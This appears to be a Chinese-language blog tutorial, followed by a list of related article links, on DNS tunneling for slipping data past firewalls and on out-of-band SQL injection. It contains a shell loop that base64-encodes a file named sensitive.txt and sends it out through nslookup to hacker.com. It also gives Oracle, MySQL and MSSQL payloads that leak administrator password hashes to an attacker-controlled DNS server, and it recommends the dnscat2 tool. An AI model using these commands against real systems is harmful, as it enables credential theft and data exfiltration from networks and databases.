10、DNS隧道技術再探
DNS基礎
大家可以自行搜尋關於dns的幾種查詢方式以及查詢流程,因為比較基礎,我這裡就不貼了。下面貼一個關於dns查詢的圖,大家自行理解:
DNS隧道技術是如何實現的
一個查詢的流程
我們通過下圖來理解一下
第一步: 黑客向內部dns伺服器傳送一個查詢hacker.com的請求(這個域名的控制許可權是在黑客手裡的)
第二步:內部dns伺服器通過防火牆向根dns伺服器發出查詢請求
第三步:經過大量重定向後,DNS請求到達hacker.com的權威DNS伺服器,該伺服器處於黑客的控制之下
第四步:黑客請求查詢的響應結果通過防火牆
第五步:響應結果返回到內部伺服器
第六步:內部伺服器將響應結果返回給黑客
上面的流程展示了一個黑客在連線外部網路時dns解析的一個過程。由於防火牆並沒有對dns協議做任何處理,所以我們可以通過這種方式向外網傳送資料來穿透防火牆。
如何向外部dns傳送資料
1、將下面內容儲存一個檔案
cat sensitive.txt Alice
Bob
John
2、 使用如下命令
for i in $(cat sensitive.txt);
do d=$(echo $i|base64) && nslookup $d.hacker.com;
done
以上命令的意思是,迴圈讀取檔案內容,並且對內容進行base64編碼然後用nslookup 將編碼後的內容作為主機名向dns傳送查詢請求。我們可以跟蹤dns伺服器的解析日誌,找出傳送出去的內容。
下面是這種方式的問題:
1 、這是一個單向通道,不可以從外部到內部,只能從內部到外部。
2 、這種處理一下小檔案是可以的,但是如果有個100M的檔案就不那麼友好了
這是我們就需要一個工具來完成這個任務了。
推薦工具
一款優秀的工具dnscat2,下載地址:https://github.com/iagox86/dnscat2
dnscat2提供客戶端和服務端。
使用的條件:
1 一臺vps
2 一個域名控制許可權
3 一臺內網許可權
利用dns回顯sql注入
基於以上思路,我們在遇到沒有回顯的注入時,不能確定命令是否成功,我們可以利用dns,將結果回顯到自己的dns伺服器上,下面簡單說一下不同資料庫的利用方式。
MSSQL
有用的儲存過程
master..xp_dirtree
功能:遞迴獲取指定目錄下的所有目錄
命令:master..xp_dirtree '<dirpath>'
master..xp_fileexist
功能:檢測指定磁碟下有沒有該檔案
命令:xp_fileexist '<filepath>'
master..xp_subdirs
功能:獲取指定目錄下的目錄列表
命令:master..xp_subdirs '<dirpath>'
獲取sa的hash
執行以上命令即可在遠端dns伺服器上留下解析日誌,獲得hash
Oracle
UTL_INADDR.GET_HOST_ADDRESS
函式:UTL_INADDR.GET_HOST_ADDRESS('<host>')
exp:SELECT UTL_INADDR.GET_HOST_ADDRESS('password.hacker.com');
UTL_HTTP.REQUEST
函式:UTL_HTTP.REQUEST('<url>')
exp:SELECT UTL_HTTP.REQUEST('http://password.hacker.com/index.php') FROM DUAL;
HTTPURITYPE.GETCLOB
函式:HTTPURITYPE('<url>').GETCLOB()
exp:SELECT HTTPURITYPE('http://password.hacker.com/index.php').GETCLOB() FROM DUAL;
DBMS_LDAP.INIT
函式:DBMS_LDAP.INIT(('<host>',<port>)
exp:SELECT DBMS_LDAP.INIT(('password.hacker.com',80) FROM DUAL;
舉例
SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.hacker.com',80) FROM DUAL;
以上查詢語句將管理員的密碼解析到我們的dns伺服器上
Mysql
LOAD_FILE
函式:LOAD_FILE('<filepath>')
exp:SELECT LOAD_FILE('C:\Windows\system.ini');
舉例
SELECT LOAD_FILE(CONCAT('\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.hacker.com\foobar'));
將root使用者的hash解析到我們的dns伺服器上
PostgreSQL
COPY
函式:COPY <table>(<column>,...) FROM '<path>'
exp:COPY users(names) FROM 'C:\Windows\Temp\users.txt'
舉例
由於PostgreSQL不接受子查詢,切變數和函式必須進行顯視宣告。所以利用過程比較麻煩。
總結
本文簡單的講解了DNS隧道技術是如何實現的,以及簡單的測試,推薦了工具,然而並沒有對工具如何使用進行闡述,這就需要小夥伴們自己去測試了。
相關文章
- DNS隧道技術解析DNS
- DNS隧道技術繞防火牆DNS防火牆
- 11、DNS隧道技術調研DNS
- 4、DNS隧道DNS
- 【技術向】基於工控場景的DNS隧道攻擊方案DNS
- 2、HTTP隧道技術HTTP
- DNS隧道工具iodineDNS
- DNS隧道工具dns2tcpDNSTCP
- 1、網路隧道技術
- Http與HTTP隧道技術HTTP
- IPv6過渡技術之隧道技術
- 隧道代理技術是什麼?
- 隧道技術(Tunneling)
- IPv6改造方案:隧道技術
- 14、DNS隧道製造工具————iodineDNS
- 【技術向】SSH加密隧道流量攻擊與檢測技術加密
- WIFI探針技術WiFi
- 內網-隱藏隧道通訊技術,場景復現(ICMP隧道)內網
- 計算機網路之隧道技術計算機網路
- 利用DNS隧道通訊木馬分析DNS
- Oracle 技術探討3Oracle
- Oracle 技術探討2Oracle
- Oracle 技術探討1Oracle
- iOS 端 DNS 相關技術iOSDNS
- 雲技術應用探討
- 追捕oicq探測技術 (轉)
- 學習內網安全--隱蔽隧道通訊技術內網
- ?【Java技術專區】「探針Agent專題」Java Agent探針的技術介紹(1)Java
- Amazon Corretto技術細節探祕
- 基於工控場景的DNS隧道檢測方案DNS
- Google DNS劫持背後的技術分析GoDNS
- 中科三方技術再升級!解讀智慧雲解析dns3大核心能力DNSS3
- 再見,我的技術夢想
- 基於Javascript的人臉探測技術JavaScript
- 探祕技術專案管理(三)(轉)專案管理
- 探祕技術專案管理(二)(轉)專案管理
- 探祕技術專案管理(一)(轉)專案管理
- 再探強化學習強化學習